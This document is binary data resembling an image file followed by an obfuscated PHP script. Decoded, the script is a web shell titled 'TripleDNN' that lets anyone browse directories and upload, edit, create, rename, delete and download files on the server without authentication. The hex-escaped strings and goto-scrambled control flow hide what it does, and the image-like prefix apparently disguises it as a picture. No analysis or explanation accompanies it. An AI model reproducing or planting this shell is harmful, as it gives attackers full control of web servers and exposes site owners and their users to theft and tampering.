"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz ¥OÛ«!1›üä±Í™%º<!vB™'èÔ6´Ña¿«e`Àà0U[-ÂБ4)M÷YK*³hï÷%ÎÎkÇ«m‘-íWŽLsã?nÂ~«†üö®þ¡ÂlÃaÿ ‰ÿ l©°Õ¥ åÜá¿r ºL[Çâ°(Çè'Vãôl8´ÏRÀvLvPõ:…ÙNçF™÷ë>Íãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l
»ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£Šƒ
J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡* ….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±b Lô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊ ÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.<?php
goto womi2; pQy4F: echo "\x22\x3e\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x3c\x74\x65\x78\164\x61\x72\145\x61\40\x6e\141\x6d\145\75\42\x66\151\154\145\x5f\143\157\156\x74\145\x6e\164\x22\76"; goto fII2j; MriuI: $J6ql8 = $yGbeW . "\57" . $_GET["\x64\157\167\156\154\x6f\x61\x64"]; goto T6_SQ; IPFyY: $yGbeW = isset($_GET["\x64\x69\162"]) ? realpath($_GET["\x64\151\162"]) : $mz96K; goto rC8qj; UPFtL: $yGbeW = $mz96K; goto VOalH; j2vBG: $D7rac = $yGbeW . "\57" . $_POST["\x6f\x6c\x64\137\x6e\141\x6d\x65"]; goto JP3r0; p5in9: unlink($fd8bH); goto SNxPu; dGXaV: uuf1S: goto hD3PH; dIp8F: $XNNy9 = $_POST["\146\x69\x6c\x65\x5f\x63\x6f\156\x74\145\x6e\x74"]; goto lnCSt; vknfc: if (!isset($_POST["\x72\145\156\141\155\x65\x5f\146\151\154\x65"])) { goto uuf1S; } goto j2vBG; JERaO: if (!isset($_GET["\144\x6f\167\x6e\x6c\157\x61\x64"])) { goto dnHM_; } goto MriuI; HvmpV: echo "\x22\x3e\12\x20\40\x20\x20\40\40\x20\40\74\x69\156\x70\165\x74\40\164\171\x70\145\x3d\x22\164\x65\170\x74\42\x20\156\x61\x6d\145\x3d\42\x6e\145\x77\x5f\156\141\x6d\145\42\40\x70\154\x61\143\x65\x68\x6f\x6c\144\145\162\x3d\x22\x4e\145\x77\40\x6e\141\x6d\145\x22\40\163\164\171\x6c\x65\75\x22\x77\151\144\164\x68\72\40\x31\x30\x30\x25\73\x20\x70\x61\x64\x64\151\156\147\72\40\x31\60\x70\x78\73\42\x3e\xa\x20\40\x20\40\40\40\40\x20\x3c\x62\x75\164\x74\157\x6e\x20\164\x79\160\x65\75\42\163\165\142\155\x69\x74\42\x20\156\x61\x6d\145\x3d\42\162\x65\x6e\x61\155\x65\x5f\146\151\x6c\x65\x22\76\122\x65\156\x61\155\x65\x3c\57\142\x75\164\x74\157\x6e\x3e\12\40\40\x20\x20\74\x2f\x66\157\x72\x6d\x3e\xa\x20\40\40\x20"; goto D1Wgl; fI_fT: echo "\xa\x20\x20\x20\40\74\x21\55\55\40\x46\x6f\x72\155\x20\165\x6e\164\165\x6b\40\x6d\x65\x6e\147\x65\144\151\x74\x20\x66\151\154\145\40\x2d\55\76\12\x20\x20\x20\x20"; goto LIdpC; NnkK1: header("\x43\x6f\x6e\x74\x65\x6e\164\55\x44\x69\163\160\x6f\x73\x69\x74\151\157\x6e\72\x20\x61\x74\164\141\143\150\155\x65\x6e\164\x3b\40\146\x69\x6c\x65\156\x61\155\145\75\x22" . basename($J6ql8) . "\x22"); goto td6WN; YSKAa: header("\x4c\x6f\143\x61\164\x69\x6f\156\72\40\x3f\144\x69\x72\75" . urlencode($_GET["\x64\x69\x72"])); goto dGXaV; beTnD: echo "\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x3c\x66\157\x72\155\x20\155\145\x74\150\157\144\x3d\42\x70\x6f\x73\164\42\x3e\12\40\40\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\x3c\151\x6e\160\x75\x74\x20\164\171\160\x65\x3d\x22\x68\x69\144\x64\145\156\42\x20\156\x61\155\x65\75\42\x66\x69\154\145\x5f\x6e\x61\155\145\x22\x20\166\x61\154\x75\x65\75\42"; goto FgpTK; JP3r0: $hl1Xv = $yGbeW . "\x2f" . $_POST["\156\145\x77\137\x6e\x61\x6d\145"]; goto nZY6k; wiyTx: echo "\x3c\x2f\x61\x3e\74\x2f\x70\x3e\12\40\x20\x20\40\xa\x20\x20\40\x20\74\x64\151\166\x20\143\154\141\x73\163\75\x22\x66\157\162\155\55\143\x6f\x6e\164\x61\151\156\x65\x72\42\x3e\xa\40\x20\40\x20\40\40\40\x20\74\x21\x2d\55\40\106\x6f\162\x6d\x20\165\156\x74\x75\153\x20\165\160\154\157\x61\x64\40\146\151\x6c\x65\x20\x2d\55\x3e\12\x20\x20\40\x20\40\x20\40\x20\x3c\146\157\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\x22\x70\x6f\163\x74\42\40\x65\x6e\143\x74\171\x70\145\75\x22\155\165\x6c\x74\151\160\x61\x72\x74\57\x66\157\162\155\55\144\x61\x74\x61\42\x3e\xa\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\74\151\156\x70\165\164\40\x74\171\x70\x65\75\42\146\x69\154\x65\42\x20\156\x61\x6d\145\75\42\x66\x69\x6c\x65\42\76\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\x62\165\x74\164\x6f\x6e\40\x74\171\x70\x65\75\42\x73\x75\142\155\151\x74\x22\x20\156\x61\x6d\145\x3d\x22\x75\x70\154\x6f\141\x64\42\76\125\x70\154\x6f\141\144\x3c\57\x62\165\x74\164\157\156\76\xa\40\x20\40\40\x20\x20\40\40\74\x2f\146\x6f\162\x6d\76\xa\12\x20\x20\40\40\40\40\x20\x20\x3c\41\x2d\x2d\x20\106\157\162\x6d\x20\165\156\x74\165\153\x20\155\x65\155\x62\x75\141\164\40\x66\151\154\x65\40\142\x61\162\165\40\x2d\x2d\x3e\xa\x20\40\x20\40\40\x20\40\40\x3c\x66\x6f\x72\155\40\x6d\145\164\x68\157\144\75\x22\160\157\x73\x74\x22\76\12\40\40\x20\40\40\x20\x20\x20\40\40\40\40\74\151\156\x70\x75\x74\x20\164\171\160\145\x3d\x22\164\x65\170\164\x22\x20\x6e\x61\x6d\x65\x3d\42\156\x65\x77\137\x66\151\154\145\137\x6e\141\x6d\x65\42\x20\160\154\141\143\x65\150\157\x6c\144\x65\x72\x3d\x22\x4e\145\x77\x20\146\151\x6c\145\40\x6e\x61\x6d\x65\x22\40\x72\145\161\165\x69\162\x65\144\76\12\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x3c\142\x75\x74\164\157\x6e\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\155\151\x74\42\x20\x6e\141\155\x65\75\42\x63\162\145\x61\164\145\137\146\x69\154\145\42\x3e\x43\162\145\x61\164\x65\x20\106\151\154\x65\x3c\57\x62\x75\164\164\157\x6e\76\12\40\40\x20\x20\x20\40\40\x20\74\57\146\157\162\x6d\x3e\12\x20\40\40\40\74\x2f\x64\x69\166\x3e\12\12\40\x20\40\x20\x3c\x74\141\x62\154\x65\40\142\x6f\162\x64\145\162\75\42\x31\x22\x3e\12\40\x20\x20\40\40\x20\x20\x20\74\164\150\145\x61\144\76\xa\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\74\164\162\x3e\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x3c\x74\x68\x3e\x46\151\154\145\40\x4e\x61\155\x65\x3c\x2f\164\x68\x3e\12\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\74\164\x68\x3e\x53\x69\x7a\145\x3c\x2f\x74\x68\x3e\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\74\164\x68\x3e\101\143\x74\151\157\156\x73\x3c\x2f\x74\x68\76\xa\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\x3c\57\164\x72\x3e\xa\x20\x20\x20\40\40\x20\x20\x20\74\x2f\x74\x68\145\x61\x64\x3e\12\40\40\40\40\x20\40\40\40\x3c\x74\142\x6f\144\171\76\12\40\40\40\40\x20\40\40\40\40\40\40\x20"; goto VaCVK; FgpTK: echo $_GET["\x65\144\151\x74"]; goto pQy4F; hn42X: $EHBNq = $yGbeW . "\x2f" . $_POST["\146\151\x6c\145\137\156\141\x6d\145"]; goto dIp8F; PyP6_: echo "\x22\x20\163\164\171\x6c\145\x3d\x22\143\x6f\154\x6f\162\x3a\x20\43\60\x33\x44\x41\103\66\73\42\x3e"; goto zj7hC; womi2: $mz96K = realpath(__DIR__); goto IPFyY; Xsu_X: if (!isset($_POST["\x73\141\x76\145\x5f\x66\151\x6c\x65"])) { goto gEelU; } goto hn42X; uDpFH: $t8kMD = $_POST["\156\x65\167\137\x66\151\154\x65\137\x6e\141\155\145"]; goto N59aw; rC8qj: if (!(!$yGbeW || !is_dir($yGbeW))) { goto uRI4C; } goto UPFtL; zj7hC: echo $yGbeW; goto wiyTx; X1fRy: zOaYm: goto Xsu_X; mUuHK: header("\x43\157\156\x74\x65\x6e\164\x2d\124\x79\160\x65\x3a\x20\141\x70\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x6f\143\x74\145\164\x2d\x73\x74\x72\x65\141\x6d"); goto NnkK1; eM5JY: echo $_GET["\x72\145\156\x61\x6d\145"]; goto HvmpV; dzsDs: if (!isset($_GET["\144\x65\154\145\164\x65"])) { goto YWvXO; } goto VEyk9; T6_SQ: if (!is_file($J6ql8)) { goto NU8jm; } goto Dmpyc; B7QmT: header("\x4c\157\x63\x61\164\x69\x6f\x6e\72\40\x3f\x64\151\x72\75" . urlencode($_GET["\x64\151\162"])); goto WbFfl; SNxPu: XvFkr: goto B7QmT; q7smT: readfile($J6ql8); goto ZSiUM; Dmpyc: header("\x43\x6f\156\x74\145\156\x74\x2d\x44\145\163\143\162\x69\160\x74\x69\x6f\156\x3a\40\106\x69\x6c\x65\x20\124\x72\x61\156\x73\146\x65\162"); goto mUuHK; LObF8: header("\114\157\143\141\164\151\157\x6e\72\x20\x3f\x64\x69\x72\75" . urlencode($_GET["\144\151\162"])); goto X1fRy; vTVYv: V5DrG: goto JuNBA; nZY6k: rename($D7rac, $hl1Xv); goto YSKAa; WPoPN: function F00Ue($BjjAr) { goto TN_gP; NUBum: LJelH: goto Wqcyl; hcBGb: foreach ($alrBN as $jGfFS) { goto NutqT; m9pNm: echo "\x3c\164\144\76\x46\x6f\154\144\145\162\74\57\x74\x64\76"; goto xltsa; K2A5m: echo "\x3c\57\164\x72\76"; goto RfRe2; GSWXk: echo "\74\x74\x64\x3e\74\x61\40\150\162\x65\x66\x3d\42\x3f\144\151\x72\75" . urlencode($BjjAr . "\57" . $jGfFS) . "\x22\x3e\xf0\237\x93\201\x20" . $jGfFS . "\74\x2f\x61\76\x3c\57\x74\144\76"; goto m9pNm; NutqT: echo "\x3c\x74\162\76"; goto GSWXk; xltsa: echo "\74\164\144\76\12\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\74\141\x20\150\x72\145\146\x3d\42\77\144\x69\162\75" . urlencode($BjjAr) . "\x26\145\x64\x69\x74\75" . urlencode($jGfFS) . "\42\x3e\x45\144\x69\164\74\57\141\x3e\x20\174\xa\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x3c\141\x20\x68\162\145\146\x3d\x22\77\x64\151\x72\75" . urlencode($BjjAr) . "\46\144\145\154\x65\x74\x65\75" . urlencode($jGfFS) . "\42\x3e\x44\x65\154\145\x74\145\x3c\57\141\76\x20\174\12\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x3c\141\x20\x68\162\x65\x66\x3d\42\x3f\x64\x69\162\x3d" . urlencode($BjjAr) . "\x26\162\x65\x6e\x61\x6d\145\75" . urlencode($jGfFS) . "\42\x3e\122\x65\x6e\141\155\145\74\x2f\141\x3e\40\174\xa\40\x20\40\40\40\40\40\40\x20\40\40\x20\74\141\x20\150\x72\145\x66\75\x22\77\x64\151\x72\x3d" . urlencode($BjjAr) . "\46\144\x6f\x77\x6e\154\157\141\144\x3d" . urlencode($jGfFS) . "\42\76\104\157\x77\156\x6c\157\141\x64\74\57\x61\x3e\12\40\40\x20\40\x20\40\40\40\x3c\57\164\x64\x3e"; goto K2A5m; RfRe2: gTsgz: goto jF0La; jF0La: } goto NUBum; hU7wa: $OZBDt = []; goto O1NDz; Tgrtz: CyuJc: goto l7gGQ; O1NDz: foreach ($lWTTD as $qCHXQ) { goto JGdXx; UmoYn: WstXK: goto XwQtV; E4e2M: J6gJS: goto UmoYn; zvrgX: goto J6gJS; goto x4TyU; jS8gE: $OZBDt[] = $qCHXQ; goto zvrgX; JGdXx: if (!($qCHXQ != "\56" && $qCHXQ != "\56\x2e")) { goto WstXK; } goto H7UDJ; x4TyU: JqJnu: goto xu2GW; XwQtV: w8KNE: goto Re57M; xu2GW: $alrBN[] = $qCHXQ; goto E4e2M; H7UDJ: if (is_dir($BjjAr . "\x2f" . $qCHXQ)) { goto JqJnu; } goto jS8gE; Re57M: } goto w9sbv; Wqcyl: foreach ($OZBDt as $qCHXQ) { goto CxSp8; yBzrj: echo "\74\164\144\x3e\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x3c\x61\x20\x68\162\x65\x66\x3d\42\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\145\144\x69\164\75" . urlencode($qCHXQ) . "\x22\76\x45\144\x69\x74\74\57\x61\76\x20\x7c\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x3c\x61\40\x68\x72\x65\146\x3d\42\77\144\x69\x72\x3d" . urlencode($BjjAr) . "\x26\144\145\154\145\x74\145\75" . urlencode($qCHXQ) . "\42\76\104\145\154\145\x74\x65\74\57\x61\x3e\x20\x7c\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x61\x20\150\162\x65\x66\x3d\42\x3f\x64\x69\x72\75" . urlencode($BjjAr) . "\x26\x72\145\x6e\x61\x6d\145\x3d" . urlencode($qCHXQ) . "\42\76\x52\x65\156\141\155\145\x3c\x2f\x61\76\40\174\12\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\74\141\40\150\162\x65\146\x3d\x22\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\x64\157\167\156\x6c\x6f\x61\x64\75" . urlencode($qCHXQ) . "\x22\76\x44\x6f\167\x6e\x6c\157\141\x64\74\57\141\x3e\12\40\x20\x20\x20\x20\40\40\40\x3c\x2f\x74\144\x3e"; goto E2dfg; ns1qU: echo "\x3c\164\144\x3e" . $qCHXQ . "\x3c\57\x74\x64\76"; goto hRjG2; hRjG2: echo "\74\164\144\76" . filesize($BjjAr . "\57" . $qCHXQ) . "\x20\x62\x79\164\x65\163\74\57\x74\144\x3e"; goto yBzrj; E2dfg: echo "\74\57\164\x72\x3e"; goto VZyVa; VZyVa: T3jxc: goto OjSwZ; CxSp8: echo "\x3c\x74\162\x3e"; goto ns1qU; OjSwZ: } goto Tgrtz; TN_gP: $lWTTD = scandir($BjjAr); goto RRRN0; RRRN0: $alrBN = []; goto hU7wa; w9sbv: oHgOR: goto hcBGb; l7gGQ: } goto dzsDs; LjCqJ: header("\114\157\143\141\164\x69\x6f\x6e\x3a\x20\x3f\144\x69\x72\x3d" . urlencode($_GET["\x64\151\162"])); goto VdQ_5; pEOzW: dnHM_: goto vknfc; Qqd91: if (!isset($_GET["\x72\x65\156\141\x6d\x65"])) { goto uQM_b; } goto vu0qH; bLjBn: header("\x4c\157\x63\x61\x74\151\157\156\72\40\77\144\151\162\75" . urlencode($_GET["\x64\151\x72"])); goto hzrgv; w3XB_: move_uploaded_file($_FILES["\x66\151\x6c\x65"]["\x74\155\x70\x5f\x6e\141\x6d\x65"], $Od4Uh); goto LObF8; yzbBN: echo "\74\x2f\164\145\170\164\x61\162\145\141\76\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x3c\x62\162\76\12\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\74\x62\165\x74\x74\x6f\156\x20\164\x79\160\145\75\x22\163\165\142\155\x69\164\x22\40\156\x61\155\145\75\42\163\x61\166\x65\137\146\x69\x6c\x65\x22\76\123\141\166\145\x20\103\150\141\156\147\145\163\x3c\x2f\x62\165\164\164\x6f\x6e\76\xa\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\74\x2f\x66\x6f\162\x6d\76\12\x20\40\40\40\40\x20\x20\40"; goto JtHSy; VOalH: uRI4C: goto WPoPN; pGAR0: $EHBNq = $yGbeW . "\x2f" . $_GET["\145\144\x69\164"]; goto ehhZj; Bu1BK: NU8jm: goto pEOzW; ADsYZ: if (!is_file($fd8bH)) { goto XvFkr; } goto p5in9; o5BT0: $CmNff = file_get_contents($EHBNq); goto beTnD; N59aw: $EpS2n = $yGbeW . "\57" . $t8kMD; goto IojpW; td6WN: header("\x43\x6f\x6e\164\145\156\164\x2d\114\145\x6e\147\164\x68\72\40" . filesize($J6ql8)); goto q7smT; lnCSt: file_put_contents($EHBNq, $XNNy9); goto LjCqJ; dNfEt: echo urlencode(dirname($yGbeW)); goto PyP6_; ZSiUM: exit; goto Bu1BK; ehhZj: if (!is_file($EHBNq)) { goto QYVs3; } goto o5BT0; MTOEP: echo "\xa\x3c\41\104\x4f\103\x54\131\120\x45\x20\x68\x74\155\x6c\76\xa\x3c\150\164\x6d\x6c\x3e\xa\x3c\x68\x65\x61\x64\76\xa\x20\x20\40\x20\x3c\164\x69\164\154\145\x3e\x54\162\151\x70\x6c\145\104\116\116\x3c\57\x74\151\x74\x6c\145\x3e\12\40\x20\x20\40\x3c\x73\x74\171\x6c\x65\x3e\12\40\40\40\x20\40\x20\x20\40\57\x2a\40\x53\164\171\x6c\151\156\147\x20\x64\145\x6e\x67\141\x6e\40\x74\145\x6d\141\x20\147\145\x6c\x61\160\40\x28\154\141\164\141\162\40\142\x65\x6c\x61\153\x61\156\147\x20\x68\x69\x74\x61\x6d\40\144\141\156\x20\164\145\153\163\40\164\x65\x72\x61\156\x67\x29\x20\x2a\57\xa\x20\x20\x20\40\40\x20\40\40\x62\157\x64\171\40\173\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\142\141\143\x6b\147\162\x6f\x75\156\x64\55\143\x6f\154\157\162\72\40\43\x31\62\61\x32\x31\x32\x3b\xa\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x63\157\x6c\157\x72\72\40\x23\x45\x30\x45\60\105\x30\73\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\146\x6f\156\164\x2d\x66\141\x6d\x69\154\x79\72\x20\101\x72\x69\x61\x6c\54\40\163\141\156\x73\55\163\145\x72\151\x66\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x7d\xa\40\x20\40\40\40\x20\x20\40\150\x32\x20\173\12\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x63\x6f\x6c\157\162\x3a\x20\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\x20\40\x20\40\40\x7d\xa\x20\40\40\40\x20\x20\40\40\x74\141\x62\x6c\x65\40\x7b\xa\40\40\40\x20\40\40\40\x20\x20\40\40\40\x77\151\x64\164\x68\x3a\40\x31\60\x30\45\73\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x62\157\x72\x64\145\162\x2d\143\x6f\x6c\x6c\x61\x70\x73\145\x3a\x20\x63\x6f\x6c\154\141\160\x73\x65\73\12\40\x20\x20\40\40\x20\40\40\x7d\12\40\40\x20\x20\x20\x20\40\x20\164\x68\54\40\164\x64\40\173\xa\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\x70\141\x64\x64\x69\156\x67\72\x20\x31\60\160\x78\73\12\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\164\x65\170\x74\55\141\154\151\x67\156\x3a\x20\x6c\x65\146\164\x3b\xa\x20\40\x20\40\x20\x20\x20\40\x7d\xa\x20\x20\x20\40\40\x20\x20\x20\x74\x68\x20\173\xa\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x62\141\x63\153\x67\x72\x6f\165\x6e\x64\x2d\143\157\x6c\x6f\x72\72\x20\43\x33\x33\63\x3b\12\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\143\157\154\x6f\162\x3a\x20\x23\102\x42\x38\66\x46\x43\73\xa\40\40\40\x20\x20\40\x20\40\175\12\x20\x20\40\x20\x20\x20\40\40\x74\x72\x3a\x6e\x74\150\x2d\143\x68\151\x6c\144\50\145\x76\145\x6e\x29\x20\173\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\142\x61\143\153\x67\x72\x6f\165\156\144\55\143\157\154\157\162\72\x20\43\62\62\62\x3b\xa\40\40\40\x20\40\40\40\x20\x7d\xa\40\x20\40\x20\x20\x20\x20\x20\x74\x72\x3a\156\164\150\x2d\x63\x68\151\x6c\144\50\157\x64\x64\51\x20\x7b\xa\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x62\141\x63\153\x67\x72\157\165\156\x64\x2d\143\x6f\x6c\x6f\162\72\x20\x23\x31\x32\x31\x32\x31\62\x3b\12\40\x20\40\x20\x20\x20\40\40\x7d\xa\40\x20\40\x20\x20\40\40\x20\x61\40\173\xa\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x63\157\154\x6f\162\72\40\x23\60\63\x44\x41\x43\x36\x3b\xa\40\40\40\40\x20\40\40\x20\x20\40\40\40\164\x65\x78\x74\55\144\x65\143\157\x72\141\x74\151\157\156\72\40\156\x6f\156\x65\73\xa\40\x20\40\40\40\x20\x20\x20\x7d\12\40\40\x20\40\x20\40\x20\x20\141\72\x68\157\166\x65\162\x20\x7b\12\x20\40\40\40\x20\40\x20\40\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x23\102\x42\x38\x36\x46\103\73\xa\40\x20\x20\x20\x20\40\40\x20\x7d\12\40\x20\x20\x20\40\x20\x20\40\x62\x75\x74\x74\x6f\156\40\x7b\xa\40\x20\40\40\x20\x20\x20\40\40\40\40\40\142\x61\143\153\x67\162\157\x75\x6e\x64\55\143\x6f\x6c\157\162\x3a\40\x23\60\63\104\x41\103\66\73\12\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\143\x6f\154\x6f\162\72\40\43\61\62\x31\x32\x31\62\x3b\12\40\40\40\40\40\40\x20\x20\40\40\40\40\142\157\x72\x64\x65\x72\x3a\40\156\157\156\x65\73\xa\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x70\141\x64\144\x69\x6e\x67\72\x20\x31\60\160\170\40\x32\60\160\170\73\xa\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\143\165\x72\x73\x6f\162\72\40\x70\x6f\151\x6e\x74\145\162\x3b\12\40\x20\40\40\x20\40\40\x20\175\12\x20\40\x20\x20\x20\x20\40\40\142\165\x74\164\x6f\156\x3a\150\x6f\166\x65\x72\x20\x7b\xa\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x62\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\x63\157\154\157\x72\x3a\x20\x23\x42\102\70\66\106\103\73\12\x20\40\x20\40\40\x20\40\x20\175\12\40\40\40\x20\40\40\40\x20\164\x65\170\x74\x61\162\145\x61\40\x7b\xa\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x77\151\x64\164\x68\x3a\40\61\x30\x30\x25\73\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x68\145\151\x67\x68\x74\x3a\x20\x34\60\60\x70\170\x3b\12\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\142\141\x63\x6b\147\x72\x6f\x75\x6e\144\x2d\143\157\154\x6f\x72\x3a\40\43\62\62\62\73\12\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\143\157\x6c\x6f\x72\x3a\x20\x23\x45\60\x45\x30\105\x30\x3b\12\40\40\x20\40\40\40\40\x20\40\x20\40\40\142\157\162\x64\145\162\x3a\40\61\160\170\x20\163\157\154\151\144\x20\x23\102\x42\x38\x36\106\x43\73\xa\x20\x20\40\40\x20\40\40\x20\175\xa\x20\40\40\x20\40\x20\40\x20\x69\156\160\165\x74\x5b\x74\x79\160\x65\75\42\146\151\x6c\145\42\135\54\40\x69\x6e\160\165\x74\133\x74\x79\x70\x65\x3d\42\x74\145\x78\164\x22\x5d\x20\x7b\xa\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\143\x6f\x6c\157\x72\72\x20\43\x45\60\x45\x30\105\60\x3b\xa\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x62\x61\x63\x6b\x67\162\x6f\x75\156\144\x2d\143\x6f\154\x6f\162\72\x20\x23\x32\62\x32\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x62\x6f\x72\144\145\x72\x3a\x20\61\160\x78\x20\163\157\x6c\151\x64\40\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\160\141\x64\x64\151\x6e\x67\x3a\40\61\x30\x70\170\x3b\xa\40\x20\x20\x20\x20\40\40\40\x7d\12\40\40\40\x20\40\40\40\40\x2e\x66\157\x72\155\55\x63\x6f\156\164\141\151\156\145\x72\x20\173\12\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x64\151\x73\x70\154\141\x79\72\40\146\x6c\145\x78\73\xa\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\152\x75\163\x74\x69\x66\x79\x2d\143\157\156\x74\x65\x6e\x74\72\40\x73\160\141\143\x65\x2d\142\145\164\x77\x65\x65\156\73\xa\40\x20\40\40\40\40\40\x20\x20\40\40\x20\155\x61\162\x67\151\156\x2d\142\x6f\164\x74\157\155\x3a\x20\62\60\160\x78\73\xa\40\x20\40\40\x20\40\40\40\175\12\x20\40\40\x20\x20\x20\40\40\56\146\157\x72\155\55\143\157\x6e\x74\x61\151\x6e\x65\162\40\146\157\162\x6d\x20\x7b\12\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\155\141\x72\147\151\156\x2d\162\151\x67\150\164\x3a\40\61\x30\x70\170\73\xa\40\40\40\x20\40\40\x20\40\175\12\40\40\x20\40\74\57\x73\164\x79\154\x65\x3e\xa\74\57\x68\x65\x61\144\x3e\xa\x3c\x62\157\x64\171\x3e\12\40\40\x20\40\x3c\x70\x3e\103\x75\x72\162\x65\156\x74\40\x44\x69\162\145\143\x74\157\162\x79\72\40\74\x61\x20\x68\x72\x65\146\75\42\x3f\x64\151\162\75"; goto dNfEt; VaCVK: F00ue($yGbeW); goto kgUpB; VdQ_5: gEelU: goto vnywD; vu0qH: echo "\40\x20\40\x20\74\146\157\162\x6d\40\x6d\x65\164\x68\157\x64\75\42\x70\157\x73\x74\42\x3e\12\x20\x20\x20\40\40\40\40\40\x3c\x69\156\x70\x75\x74\x20\164\x79\x70\x65\75\42\x68\151\144\x64\145\156\42\x20\156\x61\155\145\75\42\x6f\x6c\144\137\x6e\x61\155\x65\42\x20\166\141\154\165\x65\x3d\42"; goto eM5JY; WbFfl: YWvXO: goto JERaO; IojpW: file_put_contents($EpS2n, ''); goto bLjBn; D1Wgl: uQM_b: goto fI_fT; TG6KR: $Od4Uh = $yGbeW . "\x2f" . basename($_FILES["\146\x69\154\x65"]["\x6e\x61\155\x65"]); goto w3XB_; hzrgv: Tz80I: goto MTOEP; LIdpC: if (!isset($_GET["\145\x64\151\164"])) { goto V5DrG; } goto pGAR0; vnywD: if (!isset($_POST["\x63\x72\145\141\x74\145\x5f\x66\151\x6c\x65"])) { goto Tz80I; } goto uDpFH; 